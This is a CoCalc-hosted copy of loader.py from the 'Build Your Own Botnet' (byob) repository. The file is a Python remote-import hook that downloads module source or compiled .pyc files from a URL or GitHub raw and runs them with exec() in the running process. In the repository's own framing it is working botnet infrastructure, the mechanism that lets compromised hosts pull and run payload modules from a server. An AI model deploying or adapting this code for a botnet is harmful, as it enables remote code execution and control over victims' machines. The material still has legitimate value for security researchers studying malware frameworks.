Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/core/loader.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Loader (Build Your Own Botnet)'
4
5
# standard library
6
import imp
7
import sys
8
import logging
9
import contextlib
10
if sys.version_info[0] < 3:
11
from urllib2 import urlopen
12
else:
13
from urllib.request import urlopen
14
15
16
def log(info='', level='debug'):
17
logging.basicConfig(level=logging.DEBUG, handlers=[logging.StreamHandler()])
18
logger = logging.getLogger(__name__)
19
getattr(logger, level)(str(info)) if hasattr(logger, level) else logger.debug(str(info))
20
21
22
# main
23
class Loader(object):
24
"""
25
The class that implements the remote import API.
26
:param list modules: list of module/package names to make available for remote import
27
:param str base_url: URL of directory/repository of modules being served through HTTPS
28
29
"""
30
31
def __init__(self, modules, base_url):
32
self.module_names = modules
33
self.base_url = base_url + '/'
34
self.non_source = False
35
self.reload = False
36
'''
37
self.mod_msg = {}
38
'''
39
40
def find_module(self, fullname, path=None):
41
log(level='debug', info= "FINDER=================")
42
log(level='debug', info= "Searching: %s" % fullname)
43
log(level='debug', info= "Path: %s" % path)
44
log(level='info', info= "Checking if in declared remote module names...")
45
if fullname.split('.')[0] not in self.module_names + list(set([_.split('.')[0] for _ in self.module_names])):
46
log(level='info', info= "[-] Not found!")
47
return None
48
log(level='info', info= "Checking if built-in....")
49
try:
50
file, filename, description = imp.find_module(fullname.split('.')[-1], path)
51
if filename:
52
log(level='info', info= "[-] Found locally!")
53
return None
54
except ImportError:
55
pass
56
log(level='info', info= "Checking if it is name repetition... ")
57
if fullname.split('.').count(fullname.split('.')[-1]) > 1:
58
log(level='info', info= "[-] Found locally!")
59
return None
60
'''
61
msg = self.__get_source(fullname,path)
62
if msg==None:
63
return None
64
is_package,final_url,source_code=msg
65
self.mod_msg.setdefault(fullname,MsgClass(is_package,final_url,source_code))
66
'''
67
log(level='info', info= "[+] Module/Package '%s' can be loaded!" % fullname)
68
return self
69
70
def load_module(self, name):
71
'''
72
mod_msg=self.mod_msg.get(fullname)
73
'''
74
imp.acquire_lock()
75
log(level='debug', info= "LOADER=================")
76
log(level='debug', info= "Loading %s..." % name)
77
if name in sys.modules and not self.reload:
78
log(level='info', info= '[+] Module "%s" already loaded!' % name)
79
imp.release_lock()
80
return sys.modules[name]
81
if name.split('.')[-1] in sys.modules and not self.reload:
82
log(level='info', info= '[+] Module "%s" loaded as a top level module!' % name)
83
imp.release_lock()
84
return sys.modules[name.split('.')[-1]]
85
module_url = self.base_url + '%s.py' % name.replace('.', '/')
86
package_url = self.base_url + '%s/__init__.py' % name.replace('.', '/')
87
zip_url = self.base_url + '%s.zip' % name.replace('.', '/')
88
final_url = None
89
final_src = None
90
try:
91
log(level='debug', info= "Trying to import '%s' as package from: '%s'" % (name, package_url))
92
package_src = None
93
if self.non_source:
94
package_src = self.__fetch_compiled(package_url)
95
if package_src == None:
96
package_src = urlopen(package_url).read()
97
final_src = package_src
98
final_url = package_url
99
except IOError as e:
100
package_src = None
101
log(level='info', info= "[-] '%s' is not a package (%s)" % (name, str(e)))
102
if final_src == None:
103
try:
104
log(level='debug', info= "[+] Trying to import '%s' as module from: '%s'" % (name, module_url))
105
module_src = None
106
if self.non_source:
107
module_src = self.__fetch_compiled(module_url)
108
if module_src == None:
109
module_src = urlopen(module_url).read()
110
final_src = module_src
111
final_url = module_url
112
except IOError as e:
113
module_src = None
114
log(level='info', info= "[-] '%s' is not a module (%s)" % (name, str(e)))
115
imp.release_lock()
116
return None
117
log(level='debug', info= "[+] Importing '%s'" % name)
118
mod = imp.new_module(name)
119
mod.__loader__ = self
120
mod.__file__ = final_url
121
if not package_src:
122
mod.__package__ = name.rpartition('.')[0]
123
else:
124
mod.__package__ = name
125
mod.__path__ = ['/'.join(mod.__file__.split('/')[:-1]) + '/']
126
log(level='debug', info= "[+] Ready to execute '%s' code" % name)
127
sys.modules[name] = mod
128
exec(final_src, mod.__dict__)
129
log(level='info', info= "[+] '%s' imported succesfully!" % name)
130
imp.release_lock()
131
return mod
132
133
'''
134
def __get_source(self,fullname,path):
135
url=self.baseurl+"/".join(fullname.split("."))
136
source=None
137
is_package=None
138
139
# Check if it's a package
140
try:
141
final_url=url+"/__init__.py"
142
source = urlopen(final_url).read()
143
is_package=True
144
except Exception as e:
145
log(level='debug', info= "[-] %s!" %e)
146
147
# A normal module
148
if is_package == None :
149
try:
150
final_url=url+".py"
151
source = urlopen(final_url).read()
152
is_package=False
153
except Exception as e:
154
log(level='debug', info= "[-] %s!" %e)
155
return None
156
157
return is_package,final_url,source
158
'''
159
160
def __fetch_compiled(self, url):
161
import marshal
162
module_src = None
163
try:
164
module_compiled = urlopen(url + 'c').read()
165
try:
166
module_src = marshal.loads(module_compiled[8:])
167
return module_src
168
except ValueError:
169
pass
170
try:
171
module_src = marshal.loads(module_compiled[12:]) # Strip the .pyc file header of Python 3.3 and onwards (changed .pyc spec)
172
return module_src
173
except ValueError:
174
pass
175
except IOError as e:
176
log(level='debug', info= "[-] No compiled version ('.pyc') for '%s' module found!" % url.split('/')[-1])
177
return module_src
178
179
180
def __create_github_url(username, repo, branch='master'):
181
github_raw_url = 'https://raw.githubusercontent.com/{user}/{repo}/{branch}/'
182
return github_raw_url.format(user=username, repo=repo, branch=branch)
183
184
185
def _add_git_repo(url_builder, username=None, repo=None, module=None, branch=None, commit=None):
186
if username == None or repo == None:
187
raise Exception("'username' and 'repo' parameters cannot be None")
188
if commit and branch:
189
raise Exception("'branch' and 'commit' parameters cannot be both set!")
190
if commit:
191
branch = commit
192
if not branch:
193
branch = 'master'
194
if not module:
195
module = repo
196
if type(module) == str:
197
module = [module]
198
url = url_builder(username, repo, branch)
199
return add_remote_repo(module, url)
200
201
202
def add_remote_repo(modules, base_url='http://localhost:8000/'):
203
"""
204
Function that creates and adds to the 'sys.meta_path' an Loader object.
205
The parameters are the same as the Loader class contructor.
206
"""
207
importer = Loader(modules, base_url)
208
sys.meta_path.insert(0, importer)
209
return importer
210
211
212
def remove_remote_repo(base_url):
213
"""
214
Function that removes from the 'sys.meta_path' an Loader object given its HTTP/S URL.
215
"""
216
for importer in sys.meta_path:
217
try:
218
if importer.base_url.startswith(base_url): # an extra '/' is always added
219
sys.meta_path.remove(importer)
220
return True
221
except AttributeError as e: pass
222
return False
223
224
225
@contextlib.contextmanager
226
def remote_repo(modules, base_url='http://localhost:8000/'):
227
"""
228
Context Manager that provides remote import functionality through a URL.
229
The parameters are the same as the Loader class contructor.
230
"""
231
importer = add_remote_repo(modules, base_url)
232
yield
233
remove_remote_repo(base_url)
234
235
236
@contextlib.contextmanager
237
def github_repo(username=None, repo=None, module=None, branch=None, commit=None):
238
"""
239
Context Manager that provides import functionality from Github repositories through HTTPS.
240
The parameters are the same as the '_add_git_repo' function. No 'url_builder' function is needed.
241
"""
242
importer = _add_git_repo(__create_github_url,
243
username, repo, module=module, branch=branch, commit=commit)
244
yield
245
remove_remote_repo(importer.base_url)
246
247